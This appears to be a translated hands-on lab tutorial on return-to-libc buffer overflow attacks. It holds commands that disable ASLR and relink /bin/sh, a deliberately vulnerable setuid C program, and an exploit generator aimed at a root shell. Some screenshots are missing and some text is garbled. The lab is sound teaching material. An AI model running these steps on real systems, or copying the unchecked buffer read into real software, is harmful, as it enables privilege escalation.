1, Experimental description
The common attack method of buffer overflow is to overwrite the return address of the vulnerable program with the address of shellcode, so that the vulnerable program can execute the shellcode stored in the stack. In order to prevent this type of attack, some operating systems make the system administrator have the ability to make the stack unenforceable. In this way, once the program executes, the shellcode stored in the stack will crash, preventing the attack.
Unfortunately, the above protection methods are not completely effective. Now there is a variant attack of buffer overflow, called return to libc attack. This attack does not require a stack to execute, or even a shellcode. Instead, we let the vulnerable program jump to the existing code (such as the system () function in the libc library loaded into memory) to realize our attack.
2, Experimental preparation
System user name: shiyanlou
The experimental building provides 64 bit Ubuntu linux. In order to facilitate the observation of assembly statements, we need to operate in a 32-bit environment, so we need to make some preparations before the experiment.
2.1 enter the command to install some software packages for compiling 32-bit C programs
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 #This process takes a long time, please wait for a while sudo apt-get install lib32readline-gplv2-dev
2.2 enter the command linux32 into the 32-bit linux environment, and enter / bin/bash to use bash
3, Experimental steps
3.1 initial setting
In Ubuntu and other Linux systems, address space randomization is used to randomize the initial addresses of the heap and stack, which makes it very difficult to guess the accurate memory address, which is the key to buffer overflow attack. Therefore, in this experiment, we use the following command to turn off this function:
sudo sysctl -w kernel.randomize_va_space=0
Experimental screenshot:
In addition, in order to further prevent buffer overflow attacks and other attacks using shell programs, many shell programs automatically give up their privileges when called. Therefore, even if you can cheat a set uid program to call a shell, you can't maintain root permission in the shell. This protective measure is implemented in / bin/bash.
In linux systems, / bin/sh is actually a symbolic link to / bin/bash or / bin/dash. To reproduce the situation before this safeguard was implemented, we used another shell program (zsh) instead of / bin/bash. The following instructions describe how to set up the zsh program:
sudo su cd /bin rm sh ln -s zsh sh exit
Experimental screenshot:
In order to prevent buffer overflow attacks, the latest version of gcc compiler sets the program compilation as stack non executable by default, and you can manually set whether to make the stack non executable during compilation:
gcc -z execstack -o test test.c #Stack executable gcc -z noexecstack -o test test.c #Stack not executable
The purpose of this experiment is to show that the protection measure of "stack is not executable" is not completely effective, so we use - z noexecstack, or use the default setting of the compiler without manual specification.
3.2 vulnerability procedures
Save the following code as a "retlib.c" file and save it in the / tmp directory. The code is as follows:
/* retlib.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(FILE *badfile) { char buffer[12]; /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 40, badfile); return 1; } int main(int argc, char **argv) { FILE *badfile; badfile = fopen("badfile", "r"); bof(badfile); printf("Returned Properly\n"); fclose(badfile); return 1; }
Compile the program and set the SET-UID
The GCC compiler has a stack protection mechanism to prevent buffer overflow, so we need to turn this mechanism off with - fno stack protector when compiling code.
The above program has a buffer overflow vulnerability. It first reads 40 bytes of data from a file called badfile to a 12 byte buffer, causing overflow. The freead() function does not check boundaries, so an overflow occurs. Since this program is a SET-ROOT-UID program, if an ordinary user exploits this buffer overflow vulnerability, he may get the root shell. It should be noted that this program obtains input from a file called bad "le, which is controlled by the user. Now our goal is to create content for bad "le", so that when the vulnerable program copies this content into its buffer, a root shell is generated.
We also need a program to read environment variables, and create a new getenvaddr.c file in the / home/shiyanlou directory. The contents of the file are as follows:
/* getenvaddr.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char const *argv[]) { char *ptr; if (argc < 3) { printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; printf("%s will be at %p\n", argv[1], ptr); return 0; }
Compile:
3.3 attack procedures
Create a new exploit.c file as follows:
/* exploit.c */ #include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[40]; FILE *badfile; badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh" *(long *) &buf[24] =0x22222222; // system() *(long *) &buf[36] =0x33333333; // exit() fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile); }
Compile as follows:
"0x11111111", "0x22222222" and "0x33333333" in the code are bin respectively_ The addresses of SH, system and exit need to be obtained next.
3.4 get memory address
1. Get bin with the getenvaddr program just now_ SH address:
2. gdb obtains the system and exit addresses:
Modify the exploit.c file and fill in the memory address just found:
Delete the exploit program and badfile file just debugged and compiled, and recompile the modified exploit.c:
3.5 attacks
First run the attack program exploit, and then run the vulnerability program retlib. It can be seen that the attack is successful and the root permission is obtained: